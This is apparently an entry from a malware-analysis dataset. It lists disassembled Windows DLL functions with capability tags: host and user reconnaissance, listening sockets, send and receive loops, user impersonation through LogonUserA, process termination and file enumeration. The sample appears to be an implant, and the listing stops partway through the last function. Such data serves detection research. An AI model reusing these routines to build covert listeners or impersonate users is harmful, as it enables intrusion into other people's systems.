joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180019830
Capabilities:
Get hostname
Get session user name

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov ecx, 0x494
call fcn.180019ab4
mov qword [rsp + 0x48], rax
mov edx, __WSAFDIsSet
mov rcx, qword [rsp + 0x48]
call fcn.180019d08
mov qword [rsp + 0x40], rax
mov edx, 0x100
mov rcx, qword [rsp + 0x48]
call fcn.180019d08
mov qword [rsp + 0x60], rax
mov edx, 0x100
mov rcx, qword [rsp + 0x48]
call fcn.180019d08
mov qword [rsp + 0x78], rax
mov edx, 0x100
mov rcx, qword [rsp + 0x48]
call fcn.180019d08
mov qword [rsp + 0x70], rax
mov edx, 0x100
mov rcx, qword [rsp + 0x48]
call fcn.180019d08
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x100
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x30], 0x100
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [rsp + 0x30], 0x100
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.180011c14
mov dword [rsp + 0x58], eax
mov r8d, 0x100
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180019945
mov edx, 0x5c
mov rcx, qword [rsp + 0x68]
call fcn.180024628
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x180019945
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x180019959
lea rax, [0x1800557b0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x40]
mov dword [rax], __WSAFDIsSet
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 4]
mov dword [0x18005da70], eax
mov rax, qword [rsp + 0x40]
mov dl, byte [rax + 4]
mov rcx, qword [rsp + 0xa0]
call fcn.180010944
mov rax, qword [rsp + 0x40]
mov dl, byte [rax + 8]
mov rcx, qword [rsp + 0xa0]
call fcn.180010944
mov rax, qword [rsp + 0x40]
movzx edx, word [rax + 0xc]
mov rcx, qword [rsp + 0xa0]
call fcn.180010a38
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
sar rax, 0x20
mov ecx, 0xffffffff
and rax, rcx
mov edx, eax
mov rcx, qword [rsp + 0xa0]
call fcn.180010a04
mov edx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rsp + 0xa0]
call fcn.180010a04
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xa0]
call fcn.180010a04
mov edx, dword [rsp + 0x58]
mov rcx, qword [rsp + 0xa0]
call fcn.180010a04
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x78]
lea r8, str.FUCK_t_s_t_s_t_s
mov edx, 0x100
mov rcx, qword [rsp + 0x60]
call fcn.18000f304
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x50], 0xffffffffffffffff
inc qword [rsp + 0x50]
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
cmp byte [rax + rcx], 0
jne 0x180019a5b
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0x3a
jle 0x180019a8b
mov dword [rsp + 0x34], 0x3a
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0xa0]
call fcn.18001096c
mov rcx, qword [rsp + 0x48]
call fcn.180019c24
add rsp, 0x98
ret
Function at 0x18001a7d0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov qword [rsp + 0x28], 0xffffffffffffffff
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 1
call fcn.180011d4c
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x18001a82b
mov rax, 0xffffffffffffffff
jmp 0x18001a8e9
mov eax, 2
mov word [rsp + 0x30], ax
movzx ecx, word [rsp + 0x58]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x32], ax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x34], eax
lea r8, [rsp + 0x24]
mov edx, 0x8004667e
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x18001a881
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, 0xffffffffffffffff
jmp 0x18001a8e9
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_bind]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x18001a8b6
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, 0xffffffffffffffff
jmp 0x18001a8e9
mov edx, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_listen]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x18001a8e4
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, 0xffffffffffffffff
jmp 0x18001a8e9
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret
Function at 0x18001af3c
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x2c], 0
mov rax, qword [0x1800557b8]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
cmp qword [0x1800557c0], 0
jne 0x18001af94
mov ecx, 0x100000
call fcn.180027894
mov qword [0x1800557c0], rax
cmp qword [rsp + 0x38], 0
je 0x18001b0cf
mov rax, qword [rsp + 0x38]
cmp dword [rax + 4], 1
je 0x18001afbb
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x38], rax
jmp 0x18001af94
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rsp + 0x2c], eax
mov rax, qword [0x1800557c0]
mov ecx, dword [rsp + 0x2c]
mov dword [rax], ecx
lea r8, [rsp + 0x20]
mov edx, 0x4004667f
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x20]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x20], 0xffffc
jbe 0x18001b008
mov dword [rsp + 0x20], 0xffffc
cmp dword [rsp + 0x30], 0xffffffff
jne 0x18001b036
mov rax, qword [rsp + 0x38]
mov dword [rax + 4], 0
mov r8d, 4
mov edx, 4
mov rcx, qword [0x1800557c0]
call qword [rsp + 0x50]
jmp 0x18001b0bc
cmp dword [rsp + 0x20], 0
jbe 0x18001b0bc
mov rax, qword [0x1800557c0]
add rax, 4
mov r8d, dword [rsp + 0x20]
mov rdx, rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x20]
call fcn.18001b250
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0xffffffff
jne 0x18001b08d
mov rax, qword [rsp + 0x38]
mov dword [rax + 4], 0
mov r8d, 4
mov edx, 4
mov rcx, qword [0x1800557c0]
call qword [rsp + 0x50]
jmp 0x18001b0bc
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x24], eax
jne 0x18001b0bc
mov eax, dword [rsp + 0x20]
add rax, 4
mov r8d, 5
mov edx, eax
mov rcx, qword [0x1800557c0]
call qword [rsp + 0x50]
mov eax, dword [rsp + 0x28]
inc eax
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x38], rax
jmp 0x18001af94
mov eax, dword [rsp + 0x28]
add rsp, 0x48
ret
Function at 0x18001b0d8
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [0x1800557b8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
cmp qword [rsp + 0x28], 0
je 0x18001b24b
mov rax, qword [rsp + 0x28]
cmp dword [rax + 4], 0
jne 0x18001b153
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0xc], 0
jne 0x18001b153
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, qword [rsp + 0x28]
mov dword [rcx + 0xc], eax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x28], rax
jmp 0x18001b246
mov rax, qword [rsp + 0x28]
cmp dword [rax + 4], 0
jne 0x18001b22e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, qword [rsp + 0x28]
sub eax, dword [rcx + 0xc]
cmp eax, 0x3e8
jbe 0x18001b22e
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x10], 0
jne 0x18001b19a
mov edx, 2
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call qword [sym.imp.WS2_32.dll_shutdown]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x18001b1d5
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x10], 2
jne 0x18001b1d5
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x28], rax
jmp 0x18001b106
cmp qword [rsp + 0x30], 0
jne 0x18001b202
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x28]
mov qword [0x1800557b8], rax
mov rcx, qword [rsp + 0x28]
call fcn.180027880
mov qword [rsp + 0x28], 0
jmp 0x18001b22c
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x28]
mov qword [rax + 0x28], rcx
mov rcx, qword [rsp + 0x28]
call fcn.180027880
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x28], rax
jmp 0x18001b246
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x28], rax
jmp 0x18001b106
add rsp, 0x48
ret

Function at 0x18001b250
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x20], eax
jge 0x18001b2fd
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x24], 0xffffffff
jne 0x18001b2fb
mov edx, 2
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, 0xffffffff
jmp 0x18001b301
jmp 0x18001b27d
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x18001b308
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x478
mov dword [rsp + 0x38], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x7530
mov dword [rsp + 0x3c], eax
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x44], 0x64
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [rsp + 0x3c]
jae 0x18001b50c
mov dword [rsp + 0x260], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x30], 0
jmp 0x18001b37c
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x260]
cmp dword [rsp + 0x30], eax
jae 0x18001b3a7
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x480]
mov rcx, qword [rcx + 0x20]
cmp qword [rsp + rax*8 + 0x268], rcx
jne 0x18001b3a5
jmp 0x18001b3a7
jmp 0x18001b372
mov eax, dword [rsp + 0x260]
cmp dword [rsp + 0x30], eax
jne 0x18001b3e6
cmp dword [rsp + 0x260], 0x40
jae 0x18001b3e6
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x480]
mov rcx, qword [rcx + 0x20]
mov qword [rsp + rax*8 + 0x268], rcx
mov eax, dword [rsp + 0x260]
inc eax
mov dword [rsp + 0x260], eax
xor eax, eax
test eax, eax
jne 0x18001b368
mov dword [rsp + 0x34], 0
jmp 0x18001b404
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x34], eax
jae 0x18001b429
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x480]
mov rcx, qword [rcx + 0x20]
cmp qword [rsp + rax*8 + 0x58], rcx
jne 0x18001b427
jmp 0x18001b429
jmp 0x18001b3fa
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x34], eax
jne 0x18001b459
cmp dword [rsp + 0x50], 0x40
jae 0x18001b459
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x480]
mov rcx, qword [rcx + 0x20]
mov qword [rsp + rax*8 + 0x58], rcx
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
xor eax, eax
test eax, eax
jne 0x18001b3f0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x260]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_select]
lea rdx, [rsp + 0x50]
mov rax, qword [rsp + 0x480]
mov rcx, qword [rax + 0x20]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x18001b49e
jmp 0x18001b50c
lea rdx, [rsp + 0x260]
mov rax, qword [rsp + 0x480]
mov rcx, qword [rax + 0x20]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x18001b507
xor r9d, r9d
mov r8d, dword [rsp + 0x490]
mov rdx, qword [rsp + 0x488]
mov rax, qword [rsp + 0x480]
mov rcx, qword [rax + 0x20]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0xffffffff
jne 0x18001b505
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x18001b505
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18001b507
jmp 0x18001b50c
jmp 0x18001b345
add rsp, 0x478
ret
Function at 0x18001dc4c
Capabilities:
Terminate process

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.180019c54
lea rcx, [rsp + 0x30]
call fcn.180019c98
mov dword [rsp + 0x20], eax
mov r8d, dword [rsp + 0x20]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x18001dcc8
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x18001dcc8
jmp 0x18001dcdf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x20]
mov ecx, 0x23
call fcn.180010eb0
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x50
pop rdi
ret
Function at 0x18001e110
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov ecx, 0x8000
call fcn.180027894
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x40]
lea r8, str._s
mov edx, 0x8000
mov rcx, qword [rsp + 0x20]
call fcn.18000f304
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x20]
call fcn.180027880
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x18001e179
jmp 0x18001e297
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
and eax, 0x10
test eax, eax
je 0x18001e25c
mov rax, qword [rsp + 0x48]
add rax, 0x2c
lea rcx, [0x18005266c]
sub rcx, rax
mov dl, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x18001e1b0
inc rax
test dl, dl
jne 0x18001e19e
xor eax, eax
jmp 0x18001e1b5
sbb eax, eax
or eax, 1
test eax, eax
je 0x18001e25a
mov rax, qword [rsp + 0x48]
add rax, 0x2c
lea rcx, [0x180052670]
sub rcx, rax
mov dl, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x18001e1e2
inc rax
test dl, dl
jne 0x18001e1d0
xor eax, eax
jmp 0x18001e1e7
sbb eax, eax
or eax, 1
test eax, eax
je 0x18001e25a
mov ecx, 0x8000
call fcn.180027894
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x48]
add rax, 0x2c
mov r9, rax
lea r8, [0x180052674]
mov edx, 0x8000
mov rcx, qword [rsp + 0x20]
call fcn.18000f304
mov rax, qword [rsp + 0x48]
add rax, 0x2c
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call fcn.18001e29c
mov r8d, 1
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x50]
mov rcx, qword [rsp + 0x20]
call fcn.180027880
jmp 0x18001e274
mov rax, qword [rsp + 0x48]
add rax, 0x2c
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x18001e179
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindClose]
add rsp, 0x38
ret
Function at 0x1800223e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x38], 0xffffffffffffffff
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x18
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rax], rcx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x58]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [rax + 0x10], rcx
call fcn.180022598
cmp qword [0x1800597f8], 0
je 0x18002247b
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x30]
mov r8, qword [0x1800597f8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
add rsp, 0x48
ret

Function at 0x180022488
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov eax, dword [0x1800597f0]
inc eax
mov dword [0x1800597f0], eax
mov ecx, 0x27
call fcn.18002136c
movzx eax, ax
cmp eax, 1
jne 0x1800224c9
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call fcn.1800223e0
jmp 0x1800224ee
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x48]
mov r8, qword [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x38
ret

Function at 0x1800224f4
Capabilities:
Create thread
Terminate process

Disassembly:
sub rsp, 0x48
mov ecx, 0x37
call fcn.18002136c
movzx eax, ax
mov dword [rsp + 0x34], eax
mov ecx, 0x27
call fcn.18002136c
movzx eax, ax
mov dword [rsp + 0x30], eax
call fcn.1800230dc
cmp dword [rsp + 0x34], 1
jne 0x18002254d
cmp dword [rsp + 0x30], 1
jne 0x180022543
xor eax, eax
cmp eax, 1
je 0x180022541
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18002252d
jmp 0x18002254b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
jmp 0x180022591
cmp dword [rsp + 0x30], 1
jne 0x180022589
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [sym.imp.KERNEL32.dll_ExitProcess]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x180022591
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
add rsp, 0x48
ret
Function at 0x1800229e4
Capabilities:
Get token membership

Disassembly:
sub rsp, 0x88
mov byte [rsp + 0x64], 0
mov byte [rsp + 0x65], 0
mov byte [rsp + 0x66], 0
mov byte [rsp + 0x67], 0
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x69], 5
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x64]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
je 0x180022a90
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x180022a85
mov dword [rsp + 0x60], 0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
add rsp, 0x88
ret

Function at 0x180022a9c
Capabilities:
Impersonate user

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.18002278c
lea rax, [0x180059800]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 3
mov r9d, 9
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_LogonUserA]
test eax, eax
jne 0x180022b03
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0x18
call fcn.180010e8c
jmp 0x180022c2c
mov rcx, qword [0x180059800]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x180022b2b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0x19
call fcn.180010e8c
jmp 0x180022c2c
mov ecx, 0x800
call fcn.180019ab4
mov qword [0x180059820], rax
mov edx, 0x200
mov rcx, qword [0x180059820]
call fcn.180019d08
mov qword [0x180059808], rax
mov edx, 0x200
mov rcx, qword [0x180059820]
call fcn.180019d08
mov qword [0x180059810], rax
mov edx, 0x400
mov rcx, qword [0x180059820]
call fcn.180019d08
mov qword [0x180059818], rax
mov r8d, 0x100
mov rdx, qword [0x180059810]
mov rcx, qword [rsp + 0x58]
call fcn.180012a94
mov r8d, 0x100
mov rdx, qword [0x180059808]
mov rcx, qword [rsp + 0x50]
call fcn.180012a94
mov r8d, 0x200
mov rdx, qword [0x180059818]
mov rcx, qword [rsp + 0x60]
call fcn.180012a94
mov dword [0x180059828], 1
mov r8d, 0x400
mov rdx, qword [rsp + 0x58]
mov rcx, qword [0x180059800]
call fcn.180022d70
test eax, eax
je 0x180022c2c
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0xffffffffffffffff
inc qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
cmp byte [rax + rcx], 0
jne 0x180022c01
mov rax, qword [rsp + 0x30]
mov r8d, reloc.WS2_32.dll_ntohs
mov edx, eax
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x68]
add rsp, 0x48
ret
Function at 0x180023460
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x20], eax
jae 0x18002352a
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
xor r9d, r9d
mov r8d, 1
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jg 0x1800234c9
mov eax, 0xffffffff
jmp 0x18002352f
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 2
jb 0x180023525
mov eax, dword [rsp + 0x20]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x48]
movsx eax, byte [rcx + rax]
cmp eax, 0xa
jne 0x180023525
mov eax, dword [rsp + 0x20]
sub eax, 2
mov eax, eax
mov rcx, qword [rsp + 0x48]
movsx eax, byte [rcx + rax]
cmp eax, 0xd
jne 0x180023525
mov eax, dword [rsp + 0x20]
sub eax, 2
mov eax, eax
mov rcx, qword [rsp + 0x48]
mov byte [rcx + rax], 0
mov eax, dword [rsp + 0x20]
jmp 0x18002352f
jmp 0x180023483
mov eax, 0xffffffff
add rsp, 0x38
ret

Function at 0x180023534
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov word [rsp + 8], cx
sub rsp, 0x58
mov qword [rsp + 0x28], 0xffffffffffffffff
mov dword [rsp + 0x20], 0
call fcn.180011d4c
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x18002358d
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18002362f
mov eax, 2
mov word [rsp + 0x38], ax
movzx ecx, word [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x3a], ax
mov dword [rsp + 0x3c], 0x100007f
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_bind]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x1800235dd
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18002362f
mov edx, 0x78
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_listen]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x180023605
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18002362f
